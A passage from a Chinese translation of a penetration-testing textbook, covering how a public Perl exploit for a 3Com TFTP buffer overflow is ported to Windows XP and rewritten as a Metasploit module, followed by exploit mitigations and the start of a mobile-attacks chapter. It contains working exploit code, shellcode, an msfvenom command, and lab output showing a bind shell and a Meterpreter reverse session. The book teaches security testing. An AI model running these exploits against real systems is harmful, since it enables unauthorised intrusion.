# You can replace shellcode with your favourite one :
# Buffer overflow exists in transporting mode name of TFTP server.
# So here you go.
# Buffer = "\x00\x02"      +  "filename"    +  "\x00" +  nop sled +  Shellcode + JUMP  + "\x00";
# This was written for educational purpose. Use it at your own risk. Author will not be
# responsible for any damage.
#===============================================================
use IO::Socket;
if(!($ARGV[1]))
{
 print "\n3COM Tftp long transport name exploit\n";
 print "\tCoded by Umesh wanve\n\n";
 print "Use: 3com_tftp.pl <host> <port>\n\n";
 exit;
}
$target = IO::Socket::INET->new(Proto=>'udp',
                                PeerAddr=>$ARGV[0],
                                PeerPort=>$ARGV[1])
                            or die "Cannot connect to $ARGV[0] on port $ARGV[1]";
# win32_bind -  EXITFUNC=seh LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com
my($shellcode)= ❸
"\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x48".
"\xc8\xb3\x54\x83\xeb\xfc\xe2\xf4\xb4\xa2\x58\x19\xa0\x31\x4c\xab".
"\xb7\xa8\x38\x38\x6c\xec\x38\x11\x74\x43\xcf\x51\x30\xc9\x5c\xdf".
--*snip*--
"\xc3\x9f\x4f\xd7\x8c\xac\x4c\x82\x1a\x37\x63\x3c\xb8\x42\xb7\x0b".
"\x1b\x37\x65\xab\x98\xc8\xb3\x54";
print "++ Building Malicious Packet .....\n";
$nop="\x90" x 129;
$jmp_2000 = "\x0e\x08\xe5\x77";❹# jmp esi user32.dll windows 2000 sp4 english
$exploit = "\x00\x02";❺                        #write request (header)
$exploit=$exploit."A";                          #file name
$exploit=$exploit."\x00";                       #Start of transporting name
$exploit=$exploit.$nop;❻                      #nop sled to land into shellcode
$exploit=$exploit.$shellcode;❼                 #our Hell code
$exploit=$exploit.$jmp_2000;❽                  #jump to shellcode
$exploit=$exploit."\x00";                       #end of TS mode name
print $target $exploit;                         #Attack on victim
print "++ Exploit packet sent ...\n";
print "++ Done.\n";
print "++ Telnet to 4444 on victim's machine ....\n";
sleep(2);
close($target);
exit;
#----------------------------------------------------------------------------------
# milw0rm.com [2007-02-28]

这个漏洞利用是用 Perl 编写的 ❶。要使用公开的漏洞利用，你需要具备一定的多种语言的基础阅读能力。此外，这个漏洞利用的目标是 Windows 2000 SP4 ❷，而我们的目标是 Windows XP SP3。我们需要进行一些修改才能将这个漏洞利用移植到我们的平台上。

这个漏洞利用中包含的 shellcode 声称是使用 Metasploit 生成的，并且会在端口 4444 上打开一个绑定 shell ❸。

注意

这并不是对该漏洞原作者的冒犯，但在使用公开漏洞利用时，始终要对你无法理解的部分保持警惕。此外，要意识到，所包含的 shellcode 可能不适用于你的环境。例如，它可能是一个反向 shell，指向一个静态 IP 地址和端口。因此，在运行任何公开漏洞利用之前，使用 Msfvenom 生成新的、可信的 shellcode 是一个好的做法。

通过阅读漏洞利用代码，我们看到作者创建了一个 TFTP 数据包，类似于我们在本章前面的模糊测试示例中创建的数据包 ❺。Mode 字段填充了一个 129 个字符的 NOP 滑梯 ❻，344 字节的 shellcode ❼，以及四字节的返回地址 ❽（在本例中是一个JMP ESI指令），用于将执行重定向到攻击者控制的 ESI 寄存器 ❹。

注意

NOP sled 是一系列不执行任何操作的指令（十六进制为 \x90），它们不会做任何事情并继续执行。它们通常用于填充 exploits。开发者可以将执行重定向到 NOP sled 中的某个位置，执行会沿着 NOP sled “滑动”，什么也不做，直到到达 shellcode。然而，我们已经了解到，我们可以更精确地使用 exploits，通常不需要 NOP sled。

变量 $jmp_2000 ❹ 的命令告诉我们，exploits 使用了 Windows 2000 SP4 英文版中的 USER32.dll 中的 JMP ESI 指令。

查找返回地址

由于我们使用的是不同的平台，JMP ESI 指令的内存位置（0x77E5080E）可能会有所不同。USER32.dll 是 Windows 操作系统的一个组件。Windows XP 不使用后文所讨论的 ASLR，因此 USER32.dll 会加载到所有 Windows XP SP3 英文平台的相同内存位置。

在之前的 exploit 演练中，我们利用了静态 DLL 地址。我们无需运行 3Com TFTP 即可找到 Windows 组件中指令的内存位置。例如，如图 19-4 所示，通过调试 War-FTP，我们可以在 USER32.dll 中查找 JMP ESI 指令。（如果我们没有程序的副本，最好坚持使用原 exploit 中提到的 DLL。我们不能确定该程序是否加载了 MSVCRT.dll，例如。）

当然，在我们的例子中，我们本地有 3Com TFTP，但如果我们无法访问该应用程序，我们可以使用 Mona 查找特定模块中的 JMP 指令。例如，我们可以使用命令 !mona jmp -r esi -m user32 查找 JMP ESI（或等效指令）的实例，如图 19-4 所示。

图 19-4. 查找 USER32.dll 中的 JMP ESI 指令

我们在 Windows XP SP3 的 USER32.dll 中的内存地址 7E45AE4E 找到了 JMP ESI 指令。如果我们将 jmp_2000 变量更改为这个小端格式的值，这个 exploit 应该适用于我们的平台。

$**jmp_2000 = "\x4E\xAE\x45\x7E";**

替换 Shellcode

如前所述，我们还需要用 Msfvenom 生成的代码替换 shellcode。我们可以使用 bind shell 或任何适合 344 + 129 字节（包括 shellcode 和 NOP sled）的 Windows payload。我们需要避免的唯一坏字符是空字节。告诉 Msfvenom 以 Perl 格式输出 payload，以便我们可以轻松将其添加到我们的 exploit 中。

root@kali:~# msfvenom -p windows/shell_bind_tcp -b '\x00' -s 473 -f perl

编辑 Exploit

我们通过 Msfvenom 生成的 shellcode 为 368 字节，而公开漏洞中的原始 shellcode 为 344 字节。现在，根据示例 19-6 中的原始漏洞代码进行修改。我们删除了 NOP sled，并在 shellcode 后面填充了 105 字节的漏洞字符串，以确保我们的返回地址仍然能够劫持 EIP。

示例 19-6. 移植的漏洞

#!/usr/bin/perl -w
#===============================================================
#                3Com TFTP Service <= 2.0.1 (Long Transporting Mode) Overflow Perl Exploit
#                               By Umesh Wanve (umesh_345@yahoo.com)
#===============================================================
# Credits : Liu Qixu is credited with the discovery of this vulnerability.
# Reference : http://www.securityfocus.com/bid/21301
# Date : 27-02-2007
# Tested on Windows XP SP3
# You can replace shellcode with your favourite one :
# Buffer overflow exists in transporting mode name of TFTP server.
# So here you go.
# Buffer = "\x00\x02"      +  "filename"    +  "\x00" +  nop sled +  Shellcode + JUMP  + "\x00";
# This was written for educational purpose. Use it at your own risk. Author will not be responsible for any damage.
#===============================================================
use IO::Socket;
if(!($ARGV[1]))
{
 print "\n3COM Tftp long transport name exploit\n";
 print "\tCoded by Umesh wanve\n\n";
 print "Use: 3com_tftp.pl <host> <port>\n\n";
 exit;
}
$target = IO::Socket::INET->new(Proto=>'udp',
                                PeerAddr=>$ARGV[0],
                                PeerPort=>$ARGV[1])
                            or die "Cannot connect to $ARGV[0] on port $ARGV[1]";
my($shellcode) = ❶
"\xda\xc5\xd9\x74\x24\xf4\x5f\xb8\xd4\x9d\x5d\x7a\x29\xc9" .
--*snip*--
"\x27\x92\x07\x7e";
print "++ Building Malicious Packet .....\n";
$padding="A" x 105; ❷
$jmp_xp = "\x4E\xAE\x45\x7E";❸# jmp esi user32.dll windows xp sp3 english
$exploit = "\x00\x02";                        #write request (header)
$exploit=$exploit."A";                        #file name
$exploit=$exploit."\x00";                     #Start of transporting name
$exploit=$exploit.$shellcode;                 #shellcode
$exploit=$exploit.$padding;                   #padding
$exploit=$exploit.$jmp_xp;                    #jump to shellcode
$exploit=$exploit."\x00";                     #end of TS mode name
print $target $exploit;                       #Attack on victim
print "++ Exploit packet sent ...\n";
print "++ Done.\n";
print "++ Telnet to 4444 on victim's machine ....\n";
sleep(2);
close($target);
exit;
#----------------------------------------------------------------------------------------------
# milw0rm.com [2007-02-28]

我们移植的漏洞代码将类似于示例 19-6，其中 shellcode ❶、填充 ❷ 和返回地址 ❸ 已根据我们的需求进行了调整。

如果你一切操作正确，当你运行移植后的漏洞时，一个具有系统权限的绑定 Shell 将在 TCP 端口 4444 上打开，正如示例 19-7 中所示。

示例 19-7. 运行移植的漏洞

root@kali:~# ./exploitdbexploit.pl 192.168.20.10 69
++ Building Malicious Packet .....
++ Exploit packet sent ...
++ Done.
++ Telnet to 4444 on victim's machine ....
root@kali:~# nc 192.168.20.10 4444
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

编写 Metasploit 模块

在本书中，我们利用了许多 Metasploit 模块进行信息收集、漏洞利用、后渗透等操作。随着新漏洞的发现，Metasploit 模块也会为这些问题编写，通常由像你一样的安全社区成员来完成。此外，随着研究人员实现新的后渗透或信息收集技术，这些技术也通常会被移植到 Metasploit 模块中。在本节中，我们将介绍如何编写我们自己的 Metasploit 漏洞模块的基础知识。

注意

Metasploit 模块是用 Ruby 编写的。

编写 Metasploit 模块的最佳方式是从一个相似的现有模块或框架开始，并且像我们在前一节中所做的那样，将漏洞移植过来以满足我们的需求。让我们从一个现有的 Metasploit TFTP 漏洞模块开始，将本章前面作为练习留下的 3Com TFTP 基于堆栈的缓冲区溢出漏洞移植过来。当然，Metasploit 已经有了这个漏洞的模块，但如果直接使用它作为基础模块的话，太简单了。

要查看所有 Windows TFTP 服务器的漏洞，查看 Kali 中 /usr/share/metasploit-framework/modules/exploits/windows/tftp 目录下的内容。

我们将从模块 futuresoft_transfermode.rb 开始。这个模块（如示例 19-8 所示）利用了类似的问题：另一个 TFTP 软件的传输模式字段中的缓冲区溢出漏洞。我们将对其进行调整，使其适用于我们的 3Com TFTP 漏洞模块。

示例 19-8. Metasploit 模块示例

root@kali:/usr/share/metasploit-framework/modules/exploits/windows/tftp# cat
**futuresoft_transfermode.rb**
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote ❶
  Rank = AverageRanking

  include Msf::Exploit::Remote::Udp ❷
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'FutureSoft TFTP Server 2000 Transfer-Mode Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in the FutureSoft TFTP Server
        2000 product. By sending an overly long transfer-mode string, we were able
        to overwrite both the SEH and the saved EIP. A subsequent write-exception
        that will occur allows the transferring of execution to our shellcode
        via the overwritten SEH. This module has been tested against Windows
        2000 Professional and for some reason does not seem to work against
        Windows 2000 Server (could not trigger the overflow at all).
      },
      'Author'         => 'MC',
      'References'     =>
        [
          ['CVE', '2005-1812'],
          ['OSVDB', '16954'],
          ['BID', '13821'],
          ['URL', 'http://www.security.org.sg/vuln/tftp2000-1001.html'],

        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'    => 350, ❸
          'BadChars' => "\x00", ❹
          'StackAdjustment' => -3500, ❺
        },
      'Platform'       => 'win',
      'Targets'        => ❻
        [
          ['Windows 2000 Pro English ALL',   { 'Ret' => 0x75022ac4} ], # ws2help.dll
          ['Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad} ], # ws2help.dll
          ['Windows NT SP5/SP6a English',    { 'Ret' => 0x776a1799} ], # ws2help.dll
          ['Windows 2003 Server English',    { 'Ret' => 0x7ffc0638} ], # PEB return
        ],
      'Privileged'     => true,
      'DisclosureDate' => 'May 31 2005'))

    register_options(
      [
        Opt::RPORT(69) ❼
      ], self.class)

  end ❽

  def exploit
    connect_udp❾

    print_status("Trying target #{target.name}...")

    sploit  = "\x00\x01" + rand_text_english(14, payload_badchars) + "\x00"
    sploit += rand_text_english(167, payload_badchars)
    seh  = generate_seh_payload(target.ret)
    sploit[157, seh.length] = seh
    sploit += "\x00"

    udp_sock.put(sploit) ❿

    handler
    disconnect_udp
  end
end

在类定义 ❶ 中，以及包含语句 ❷ 中，模块的作者告诉 Metasploit 该模块将继承哪些 mixins 或库的构造。这是一个通过 UDP 实现的远程漏洞，使用了 SEH 覆盖攻击。

在 Payload 部分 ❸，我们告诉 Metasploit 在攻击字符串中可用来放置有效载荷的字节数。我们还列出了需要避免的不良字符 ❹。StackAdjustment 选项 ❺ 告诉 Metasploit 将 ESP 移动到有效载荷的开始处，为有效载荷在堆栈上腾出更多空间，以便它能正常工作而不被自己覆盖。

在 Targets 部分 ❻，作者列出了 Metasploit 可以攻击的所有目标及其相关的返回地址。（请注意，我们不需要以小端格式编写返回地址。我们稍后将在模块中处理这个问题。）除了 Exploit::Remote::UDP 混入模块的默认选项外，作者还将 RPORT 选项注册为 69 ❼，这是 TFTP 的默认端口。许多编程语言使用括号来标识函数或循环等代码块。Python 使用缩进，而 Ruby（此处使用的语言）则使用 end ❽ 来标识代码块的结束。

Exploit::Remote::UDP 混入模块为我们完成了设置 UDP 套接字的所有工作。我们需要做的就是调用函数connect_udp ❾。（你可以在 Kali 的 /usr/share/metasploit-framework/lib/msf/core/exploit/udp.rb 文件中找到connect_udp及其他Exploit::Remote::UDP 方法的详细信息。）

然后，作者告诉 Metasploit 如何创建漏洞字符串。漏洞字符串构建完成后，作者使用udp_sock.put方法 ❿ 将其发送到易受攻击的服务器。

相似的漏洞字符串模块

示例模块使用了 SEH 漏洞，而我们的 3Com TFTP 漏洞则使用了保存的返回指针，因此我们来查看另一个 Metasploit TFTP 示例中的漏洞字符串，以帮助我们创建自己的漏洞。以下是 exploit/windows/tftp/tftpd32_long_filename.rb 模块中使用的漏洞字符串。

sploit = "\x00\x01"❶ + rand_text_english(120, payload_badchars)❷ + "." + rand_text_english(135, payload_badchars) + [target.ret].pack('V')❸ + payload.encoded❹ + "\x00"

回想一下，TFTP 数据包的前两个字节是操作码 ❶。在这里，数据包告诉 TFTP 我们想要读取一个文件。接下来是文件名，rand_text_english(120, payload_badchars)。正如模块名称所示，这个漏洞利用了一个长文件名，而不是将过多的数据写入传输模式字段。作者使用 Metasploit 的 rand_text_english 函数创建了一个 120 个字符的字符串，避免了通过模块中早先定义的 BadChar 变量中的不良字符 ❷。这个漏洞似乎需要一个句点（.），然后是一些随机文本，接着返回地址被添加到字符串中。Metasploit 从模块中早先定义的 ret 变量中提取返回地址。

pack 是一个 Ruby 方法，它根据模板将数组转换为二进制序列。'V' 模板 ❸ 指示 Ruby 以小端格式打包我们的返回地址。在返回地址之后，用户选择的负载被编码并附加到漏洞字符串中，负载填满了允许的总空间，这个空间由 Space 变量 ❹ 定义。一个空字节表示文件名字段的结束。（有趣的是，攻击字符串甚至不需要完成 TFTP 数据包就能利用程序，因为模式和最终的空字节并不会附加到漏洞字符串中。）

移植我们的漏洞利用代码

在本章早些时候，我建议将 3Com TFTP 服务器的长传输模式漏洞作为练习编写一个漏洞利用代码。你编写的漏洞利用代码应该与示例 19-9 中的代码类似。如果你没有尝试编写这个漏洞利用代码，依然应该能够理解代码的工作原理，因为你已经完成了前面的示例。

示例 19-9. 完成的 3Com TFTP Python 漏洞利用代码

  #!/usr/bin/python
  import socket
❶ shellcode = ("\x33\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\
  x1d" + "\x4d\x2f\xe8\x83\xeb\xfc\xe2\xf4\xe1\x27\xc4\xa5\xf5\xb4\xd0\x17" +
  --*snip*--
  "\x4e\xb2\xf9\x17\xcd\x4d\x2f\xe8")
  buffer = shellcode + "A" * 129 + "\xD3\x31\xC1\x77" ❷
  packet = "\x00\x02" + "Georgia" + "\x00" + buffer + "\x00"
  s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  s.sendto(packet,('192.168.20.10',69))
  response = s.recvfrom(2048)
  print response

你的返回地址可能指向另一个 JMP ESI 指令 ❷，而且你可能使用了不同的负载 ❶。

现在，让我们将 Python 漏洞利用代码移植到 Metasploit，将 FutureSoft TFTP 示例模块中的值更改为适应我们的需求。我们只需对之前讨论的现有漏洞模块进行少量更改，如示例 19-10 和示例 19-11 中所示。

示例 19-10. 编辑后的模块，第一部分

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Udp ❶

  def initialize(info = {})
    super(update_info(info,
      'Name'           => '3com TFTP Long Mode Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in the 3com TFTP version 2.0.1 and below with
          a long TFTP transport mode field in the TFTP packet.
      },
      'Author'         => 'Georgia',
      'References'     => ❷
        [
          ['CVE', '2006-6183'],
          ['OSVDB', '30759'],
          ['BID', '21301'],
          ['URL', 'http://www.security.org.sg/vuln/tftp2000-1001.html'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'    => 473, ❸
          'BadChars' => "\x00",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
         ['Windows XP Pro SP3 English', { 'Ret' => 0x7E45AE4E } ], #JMP ESI  USER32.dll ❹
        ],
      'Privileged'     => true,
      'DefaultTarget'  => 0, ❺
      'DisclosureDate' => 'Nov 27 2006'))

    register_options(
      [
        Opt::RPORT(69)
      ], self.class)

  end

由于这是一个保存返回指针覆盖漏洞，我们不需要导入 SEH Metasploit 混合模块；只需导入 Msf::Exploit::Remote::Udp ❶。接下来，我们更改模块的信息，以匹配 3Com TFTP 2.0.1 长传输模式漏洞，以便 Metasploit 用户能够搜索到我们的模块并验证他们是否拥有正确的漏洞利用代码。在线搜索漏洞参考信息，找到 CVE、OSVDB 和 BID 编号，以及其他相关链接 ❷。

接下来，我们更改负载选项，以匹配我们的 3Com 漏洞利用代码。在我们的 Python 漏洞利用代码中，我们先是 344 字节的 shellcode，后跟 129 字节的填充，总共 473 字节的负载。告诉 Metasploit 在 ❸ 创建一个 473 字节的负载。对于目标部分，我们的 Python 漏洞利用代码只覆盖一个平台——Windows XP Professional SP3 英文版。如果我们将漏洞提交到 Metasploit 仓库，应该尽量覆盖更多可以利用的目标。

最后，将 RET 更改为 Python 漏洞利用代码中的 USER32.dll ❹ 中的 JMP ESI。我们还添加了 DefaultTarget 选项，告诉 Metasploit 默认使用目标 0，这样用户在运行模块之前就不需要设置目标 ❺。

我们在模块的利用部分唯一需要修改的是利用字符串本身，正如示例 19-11 中所示。

示例 19-11. 修改后的模块，第二部分

def exploit
    connect_udp

    print_status("Trying target #{target.name}...")

    sploit  = "\x00\x02"❶ + rand_text_english(7, payload_badchars)❷ + "\x00"❸
    sploit += payload.encoded❹  + [target.ret].pack('V')❺ +  "\x00"❻

    udp_sock.put(sploit)

    handler
    disconnect_udp
  end
end ❼

与 Python 利用示例一样，我们首先告诉 TFTP 服务器将数据写入文件 ❶。然后，我们使用 rand_text_english 函数创建一个随机的七字符文件名 ❷。这种方法比我们在 Python 利用示例中使用静态字母更为优越，因为任何可预测的内容都可以用来为杀毒程序、入侵防御系统等编写签名。接下来，我们按照 TFTP 数据包规范，使用一个空字节来结束文件名 ❸，然后附加上用户选择的有效载荷 ❹ 和返回地址 ❺。最后按照 TFTP 规范 ❻ 用一个空字节结束数据包。（在使用 end 结束利用函数后，不要忘记在 ❼ 处关闭模块。）

我们现在已经为 3Com TFTP 2.0.1 长传输模式漏洞编写了一个利用模块。将文件保存在 /root/.msf4/modules/exploits/windows/tftp/myexploit.rb，然后运行 Msftidy 工具对模块进行格式验证，确保其符合 Metasploit 模块的格式规范。在提交模块到 Metasploit 仓库之前，按照 Msftidy 提出的建议进行任何格式更改。

root@kali:~# cd /usr/share/metasploit-framework/tools/
root@kali:/usr/share/metasploit-framework/tools# ./msftidy.rb /root/.msf4/modules/exploits/windows/tftp/myexploit.rb

注意

Metasploit 会不时修改其所需的语法，因此如果你打算提交一个模块到代码库，运行 msfupdate 获取最新版本的 Msftidy。在这种情况下，我们不需要担心这个问题，运行 msfupdate 可能会导致书中的其他练习出现问题，因此目前我不建议运行它。

重启 Msfconsole 以加载最新的模块，包括任何位于 .msf4/modules 目录中的模块。如果你犯了任何语法错误，Metasploit 会显示无法加载的模块的详细信息。

现在使用你的新利用模块来攻击 Windows XP 目标。如示例 19-12 所示，Metasploit 可以将多个有效载荷装入 473 个字符内，包括 Meterpreter ❶。

示例 19-12. 使用你的模块

msf > **use windows/tftp/myexploit**
msf  exploit(myexploit) > **show options**
Module options (exploit/windows/tftp/myexploit):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  69               yes       The target port

Exploit target:

   Id  Name
   --  ----
   0   Windows XP Pro SP3 English

msf  exploit(myexploit) > **set RHOST 192.168.20.10**
RHOST => 192.168.20.10
msf  exploit(myexploit) > **show payloads**
--*snip*--
msf  exploit(myexploit) > **set payload windows/meterpreter/reverse_tcp**❶
payload => windows/meterpreter/reverse_tcp
msf  exploit(myexploit) > **set LHOST 192.168.20.9**
LHOST => 192.168.20.9
msf  exploit(myexploit) > **exploit**
[*] Started reverse handler on 192.168.20.9:4444
[*] Trying target Windows XP Pro SP3 English...
[*] Sending stage (752128 bytes) to 192.168.20.10
[*] Meterpreter session 1 opened (192.168.20.9:4444 -> 192.168.20.10:4662) at 2015-02-09 09:28:35 -0500
meterpreter >

现在我们已经通过一个编写 Metasploit 模块的示例，下面是另一个想法。一个可以利用 War-FTP 1.65 用户缓冲区溢出的 Metasploit 模块，位于 /usr/share/metasploit-framework/modules/exploits/windows/ftp/warftpd_165_user.rb，使用了保存的返回指针覆盖技术。尝试编写一个类似的模块，使用我们在第十八章中处理过的 SEH 覆盖技术。

利用缓解技术

我们在第十八章中讨论了一种漏洞利用缓解技术，称为 SafeSEH。攻击者开发新漏洞利用技术的同时，平台实现缓解措施，接着攻击者又会提出新的方法。在这里，我们将简要讨论几种现代的漏洞利用缓解方法。这份列表并不完整，也不在本书讨论绕过所有这些限制的漏洞利用的范围内。除了这里讨论的内容外，还有许多高级漏洞利用和有效载荷投递技术，如堆喷和面向返回的编程。更多关于高级漏洞利用开发技术的信息，请访问我的网站 (www.bulbsecurity.com/) 和 Corelan 团队的网站 (www.corelan.be/)。

堆栈保护

自然地，随着缓冲区溢出漏洞的普遍存在，开发人员希望阻止这些类型的攻击劫持执行。实现堆栈保护（也称为金丝雀）是一种方法。在程序启动时，计算并将堆栈保护值添加到.data内存区域。使用易受缓冲区溢出影响的结构（如字符串缓冲区）的函数会从.data获取金丝雀值，并在保存的返回地址和 EBP 之后将其压入堆栈。函数返回之前，会检查堆栈上的金丝雀值是否与.data中的值匹配。如果值不匹配，则会检测到缓冲区溢出，程序会在攻击劫持执行之前终止。

你可以使用多种技术绕过堆栈保护，如在易受攻击的函数返回之前触发 SEH 覆盖和异常，或者在检查金丝雀值之前劫持执行。

地址空间布局随机化

本书中我们编写的漏洞利用依赖于特定指令位于特定内存地址。例如，在我们第一章第十七章中的 War-FTP 堆栈缓冲区溢出示例中，我们依赖于 Windows MSVCRT.dll 模块中的 JMP ESP 等效指令位于所有 Windows XP SP3 英文系统中的内存地址 0x77C35459。在我们第十八章中的 SEH 覆盖示例中，我们依赖于 War-FTP 的 MFC42.dll 模块中的 POP POP RET 指令位于内存地址 0x5F4580CA。如果这些条件中的任何一个不成立，我们的整个攻击方法就会受到破坏，我们就需要找到这些指令才能执行它们。

当启用 ASLR 时，你不能依赖某些指令位于特定的内存地址。要查看 ASLR 的实际效果，可以在你的 Windows 7 虚拟机上通过 Immunity Debugger 打开 Winamp 程序。注意 Winamp.exe 和一些 Windows DLL（如 USER32 和 SHELL32）的内存位置。现在重启系统再试一次。你应该会注意到，Windows 组件的位置在重启后发生了变化，而 Winamp.exe 的位置保持不变。在我的案例中，我第一次在 Immunity Debugger 中查看 Winamp 时，内存位置如下：

00400000 Winamp.exe
778B0000 USER32.dll
76710000 SHELL32.dll

重启后，它们的地址变成了这样：

00400000 Winamp.exe
770C0000 USER32.dll
75810000 SHELL32.dll

与 SafeSEH 类似，Windows 中没有强制要求程序必须实现 ASLR。即使一些 Windows 应用程序（如 Internet Explorer）最初也没有立即实现 ASLR。然而，Windows Vista 及之后的版本，像 USER32.dll 和 SHELL32.dll 这样的共享库确实使用了 ASLR。如果我们希望使用这些库中的代码，我们将无法直接从静态地址调用指令。

数据执行保护

在我们过去几章开发的漏洞利用中，我们依赖于将我们的 shellcode 注入某个内存位置，传递执行到 shellcode，并让 shellcode 执行。数据执行保护（DEP） 通过将特定的内存区域标记为不可执行，设计上使得这一过程变得更加困难。如果攻击者尝试从不可执行的内存中执行代码，攻击将失败。

DEP 被大多数现代版本的 Windows 以及 Linux、Mac OS 和甚至 Android 平台使用。iOS 不需要 DEP，关于这一点将在下一节讨论。

为了绕过 DEP，攻击者通常使用一种名为 返回导向编程（ROP） 的技术。ROP 允许攻击者执行已包含在可执行内存中的特定指令。一种常见的技术是使用 ROP 创建一个可写且可执行的内存区域，然后将有效载荷写入该内存段并执行它。

强制代码签名

苹果的 iOS 团队采取了不同的方式来防止恶意代码执行。在 iPhone 上执行的所有代码必须由受信任的机构签名，通常是苹果公司本身。为了在 iPhone 上运行应用程序，开发者必须提交代码进行苹果的审核。如果苹果确定他们的应用程序不是恶意的，通常会批准并由苹果签名代码。

恶意软件作者绕过安装时检测的常见方式是，在运行时下载新的、潜在恶意的代码并执行它。然而，由于所有内存页必须由受信任的机构签名，这种攻击方式在 iPhone 上会失败。只要应用程序尝试运行未签名的代码，CPU 就会拒绝它，应用程序将崩溃。DEP 不是必需的，因为强制代码签名进一步加强了保护。

当然，也有可能编写能够绕过这些限制的漏洞，就像 iPhone 越狱一样，但在最新版本的 iOS 上，越狱并非易事。与其简短地使用 ROP 来创建 DEP 绕过，在强制代码签名的情况下，整个有效负载必须使用 ROP 来创建。

单一的缓解技术不足以阻止那些掌握最新方法的高技能漏洞开发者。因此，漏洞缓解技术通常会组合在一起，以进一步抵御攻击。例如，iOS 同时使用强制代码签名和完整的 ASLR（地址空间布局随机化）。因此，攻击者必须对整个有效负载使用 ROP，并且由于 ASLR 的存在，构建 ROP 有效负载并非易事。

在前两章中，我们已经涵盖了漏洞开发的基础知识。基于我们讨论的技能，你可以进入更高级的漏洞利用，甚至突破最新、最安全的平台和程序。

总结

本章我们介绍了一些基础漏洞开发的零散技巧。我们介绍了一种叫做模糊测试（fuzzing）的方法，用于发现潜在的漏洞点。我们还讨论了如何使用公共漏洞并将其移植以满足我们的需求。我们通过使用 Msfvenom 替换了 shellcode，并找到了适合我们平台的返回地址。接下来，我们看了如何将一个完成的 Python 漏洞移植到我们的第一个 Metasploit 模块中。从一个类似问题的模块开始，我们做了修改以适应 3Com TFTP 长传输模式缓冲区溢出漏洞。最后，我们简要讨论了一些在继续学习漏洞开发时可能会遇到的漏洞缓解技术。

我们即将结束渗透测试基础部分的学习。让我们通过一章关于评估移动设备安全性的内容来收尾。

第五部分：移动黑客技术

第二十章使用智能手机渗透框架

自带设备（BYOD）目前在行业中是一个热门话题。尽管多年来我们一直以某种形式将自己的设备带到工作中（例如承包商的笔记本电脑或某人将游戏主机连接到休息室网络上），但如今移动设备正大规模进入职场，安全团队和渗透测试人员的任务是评估这些设备的安全风险。

本章将重点介绍用于评估移动设备安全性的工具和攻击方式。移动技术是一个快速发展的领域，尽管我们这里只能涵盖基础内容，但开发新的移动攻击和后渗透技术是进行安全研究的理想起点。例如，我们将讨论我创建的一款工具——智能手机渗透框架（SPF），它帮助渗透测试人员评估移动设备的安全状态。通过本书的学习，你将准备好开始自己的信息安全之旅，甚至可能会开发出你自己的工具。

本章中的大多数示例将使用 Android 平台作为目标，因为除了它是最普及的操作平台外，它还允许你在 Windows、Linux 和 Mac OS 平台上创建模拟器。尽管我们将重点讨论 Android，但我们也会探讨对越狱 iPhone 的攻击。

移动攻击向量

尽管移动设备运行操作系统、支持 TCP/IP 协议，并且能够访问与传统计算机相同的资源，但它们也有自己独特的功能，带来了新的攻击向量和协议。一些功能已经在设备上存在多年并造成了安全问题，而像近场通信（NFC）这样的新功能，稍后将进行讨论，算是比较新的安全挑战。

短信

许多移动设备都能发送和接收文本（短信）消息。尽管短信的大小有限，但它使用户几乎可以实时通信，常常取代电子邮件作为书面沟通方式。短信为社交工程攻击提供了一个新的攻击向量。

传统上，电子邮件一直是发送垃圾邮件和网络钓鱼尝试的媒介，但即使是免费的电子邮件解决方案，今天也能有效地过滤掉垃圾邮件。（如果你需要在工作中找点乐子，可以去看看你的电子邮件垃圾邮件文件夹。）短信则是另一个故事：尽管一些移动防病毒软件允许你对某些手机号码进行黑名单和白名单设置，但通常只要你向设备发送短信，该消息就会被接收。这使得短信成为进行垃圾邮件和网络钓鱼攻击的理想载体。

我们已经开始看到令人烦恼的移动广告和短信钓鱼攻击，这些攻击诱使用户访问虚假的网站并输入他们的凭证，类似于第十一章中的网站克隆攻击。随着时间的推移，这些攻击无疑会变得更加普遍。安全意识培训需要加强，以应对这一威胁。一个知道不该点击可疑邮件中随机链接的用户，仍然可能会点击短信中的随机链接。毕竟，那只是一个短信——短信怎么可能伤害你呢？但是，那个链接会在移动浏览器或其他应用中打开，而这些应用可能存在额外的漏洞。

近场通信

移动设备带来了另一个攻击向量：近场通信，或称 NFC。NFC 允许设备通过接触或靠近彼此来共享数据。启用 NFC 的移动设备可以扫描 NFC 标签来自动执行任务，如更改设置或打开应用程序。有些设备还可以将数据（如照片或整个应用）从一台设备传输到另一台设备。NFC 是另一个理想的社会工程学攻击向量。例如，在 2013 年的 Mobile Pwn2Own 持续漏洞利用竞赛中，研究人员通过将恶意载荷传送到设备上的一个易受攻击应用，利用 NFC 攻击了一台 Android 设备。因此，安全意识培训还应教授用户注意自己的设备响应哪些 NFC 标签，以及他们与谁共享数据。

二维码

